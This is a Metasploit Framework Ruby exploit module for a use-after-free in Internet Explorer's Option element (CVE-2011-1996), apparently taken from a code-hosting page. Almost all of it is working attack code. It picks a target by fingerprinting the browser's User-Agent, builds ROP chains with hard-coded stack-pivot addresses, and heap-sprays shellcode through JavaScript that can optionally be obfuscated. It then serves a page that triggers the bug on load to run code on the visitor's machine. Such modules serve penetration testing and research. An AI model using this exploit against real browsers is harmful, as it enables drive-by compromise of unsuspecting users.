240 lines
6.3 KiB
Ruby
240 lines
6.3 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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def initialize(info={})
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super(update_info(info,
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'Name' => "Microsoft Internet Explorer Option Element Use-After-Free",
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'Description' => %q{
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This module exploits a vulnerability in Microsoft Internet Explorer. A memory
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corruption may occur when the Option cache isn't updated properly, which allows
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other JavaScript methods to access a deleted Option element, and results in code
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execution under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Ivan Fratric', #Initial discovery
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'juan vazquez', #Metasploit
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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[ 'CVE', '2011-1996' ],
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[ 'MSB', 'MS11-081' ],
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[ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ],
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[ 'URL', 'http://pastebin.com/YLH725Aj' ]
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],
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'Payload' =>
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{
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
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[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
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[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Oct 11 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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print_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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def ie_heap_spray(my_target, p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
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js = %Q|
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function heap_spray() {
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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var overflow = nops.substring(0, 10);
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}
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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@heap_spray_func = js.sym("heap_spray")
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end
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return js
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end
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def get_payload(t, cli)
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code = payload.encoded
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# No rop. Just return the payload.
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return code if t['Rop'].nil?
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# Both ROP chains generated by mona.py - See corelan.be
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case t['Rop']
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when :msvcrt
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print_status("Using msvcrt ROP")
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rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
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rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
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rop_payload << "\xeb\x04" # jmp $+6
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rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret
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rop_payload << code
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else
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print_status("Using JRE ROP")
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rop_payload = generate_rop_payload('java', '')
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rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
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rop_payload << "\xeb\x08" # jmp $+10
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rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
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rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
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rop_payload << code
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end
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return rop_payload
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end
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def load_exploit_html(my_target, cli)
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@heap_spray_func = "heap_spray"
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p = get_payload(my_target, cli)
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js = ie_heap_spray(my_target, p)
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#var fakeobj = unescape("%u0c0c%u0c0c");
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#call to 0c0c0c0c
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#eax ==> 0c0c0a14
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html = %Q|
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<!DOCTYPE html>
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<html>
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<head>
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<script>
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#{js}
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function ivan()
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{
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var fakeobj = unescape("%u0a14%u0c0c");
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fakeobj += unescape("%u4141%u4141");
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while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141");
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var formobj, selobj, optobj;
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selobj = document.getElementById("select1");
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formobj = selobj.form;
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var imgarray = new Array();
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for(var j = 0; j < 500; j++) {
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imgarray.push(document.createElement("img"));
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}
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for(var i=0;i<5;i++) {
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optobj = document.createElement('option');
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optobj.text = "test";
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selobj.add(optobj);
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}
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selobj.innerText = "foo";
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for(var i = 0; i < imgarray.length; i++) {
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imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);
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}
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#{@heap_spray_func}();
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formobj.reset();
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}
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</script>
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</head>
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<body onload='ivan()'>
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<form method="post">
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<select id="select1">
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</select>
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</form>
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</body>
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</html>
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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my_target = get_target(agent)
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# Avoid the attack if no suitable target found
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if my_target.nil?
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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